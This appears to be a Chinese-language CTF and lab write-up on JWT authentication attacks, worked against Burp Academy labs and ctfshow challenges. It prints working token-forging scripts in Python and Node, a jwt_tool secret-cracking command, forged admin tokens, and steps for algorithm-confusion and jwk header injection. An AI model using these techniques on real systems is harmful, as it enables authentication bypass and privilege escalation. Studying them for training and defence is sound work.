前言 :
什么是jwt(json web token)? 看看英文單詞的意思就是? json形式的token
他的基本的特征 :
類似于這樣的 他有2個點 分割??
解碼的時候會有三個部分?
頭部 payload 對稱密鑰? ? ?這個就是對稱加密
頭部:標明了? 需要進行加密的方式是什么(一般就是對稱加密 =》 SH256 和 非對稱加密 =》RH256)
這些都叫 alg頭 (算法頭) 當然還有一些typ,?kid等
中間的就是要加密的內容 需要是json形式的;
尾部是簽證 主要就是利用密鑰進行加密: 主要是? jwt.encode(payload,alg,key)
插件的使用:
burp自帶
https://github.com/CompassSecurity/jwt-scanner
打靶 burp靶場:
1、無簽證的 jwt 驗證
實驗:通過未經驗證的簽名繞過 JWT 身份驗證 |網絡安全學院
訪問靶場? ?插件會自動的檢測
這里就有個牛13插件? jwt-scan? ??https://github.com/CompassSecurity/jwt-scanner
演示 :?
也可以直接識別到? 對方jwt的基本特征
當然你如果不信插件可以看特征
進行解密
發現是很全面的? 這個漏洞主要出在后端沒有接受 jwt的簽證驗證 這個密鑰就是嚇唬你的? 直接改數據就行?這些參數時 payloa的的?
iss :jwt的簽發者
exp : 發布的時間戳
sub : jwt面向的用戶
改一下訪問后臺
2、第二個有缺陷的簽名認證
3、第三關? 對稱加密的缺陷
使用工具 :https://github.com/ticarpi/jwt_tool
使用方法? ?
python ./jwt_tool?jwt數據 -C -d +字典
-C 是只讓其顯示正確的 key
使用插件驗證一下? ?
然后知道密鑰之后我們就可以重新生成一個jwt密文?
使用腳本 :
pip install PyJWT==1.7.1 先進行下載庫 如果沒有這個版本可以不加版本號import jwt //導入庫
payload={"user":"administrator"} //設置荷載
key = 'secret1' //設置 秘鑰
print(jwt.encode(payload, key, algorithm='HS256')) //進行加密
腳本還是要會寫的 因為這個jwt的操作比較少
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9.rLCBnvGEPxuOK2GeDFmK-xuIf05CiVlfjwjmGmoLKzk
使用這個jwt進行登錄
4、第四個實驗
ctfshow 349
RH加密但是私/公鑰泄露??
審計一下
我們知道了邏輯是 私鑰加密公鑰解密? 但是有一點就是非對稱:私鑰加密就一定可以解碼 實際上我們只要知道泄露的私鑰其實就能進行解密了
也是上面的腳本修改一下
import jwt
payload={"user":"admin"}
key =open('./private.key').read()
print(jwt.encode(payload, key, algorithm='RS256'))
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU
使用這個進行訪問
是 router的問題啊是post請求? ?右鍵進行修改
ctfshow{a57a1ea7-eb92-4a7e-8d05-3959e800db95}
5、第五個實驗 解密算法模式配置的錯誤導致可以使用對稱加密進行加解密
ctfshow 350 :
看一下源碼 發現? 私鑰是丟失的 : 但是我們看一下? ?alg是直接寫的 cert
cert是讀取的公鑰? ?這個公鑰我們是有的? 但是他沒有寫模式
所以我們完全可以使用 sh256 進行混淆
使用腳本重新進行加密
var jwt = require('jsonwebtoken'); //jwt 庫
var fs = require('fs'); //文件管理庫
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
使用腳本生成jwt然后訪問就行了
6、第六關:? jwk繞過實現越權
什么是jwk?JSON Web Key? 就是對jwk加密的密鑰的描述
結構
json
{"kty": "RSA", // 密鑰類型(RSA/EC/oct等)"use": "sig", // 用途:簽名(sig)或加密(enc)"kid": "2023-rsa-key", // 密鑰唯一標識(用于匹配 JWT 頭部的 kid)"alg": "RS256", // 算法"n": "modulus-value", // RSA 模數(Base64URL 編碼)"e": "exponent-value" // RSA 指數(Base64URL 編碼)
}
還有一個就是jku?JWK Set URL? 簡單的說就是把加密的方式和密鑰放到url地址 訪問來實現的
實驗:通過 jwk 標頭注入繞過 JWT 身份驗證 |網絡安全學院
開始打靶 : 抓包發到? jwtscan上去
識別出來時 jwk頭注入?從特征其實也看出來了? 就是這個kid? ?然后:
點擊攻擊 :然后選擇第一個選項
點擊確定?點一下sign進行和前面的同步
發包進行了跳轉 (3開頭)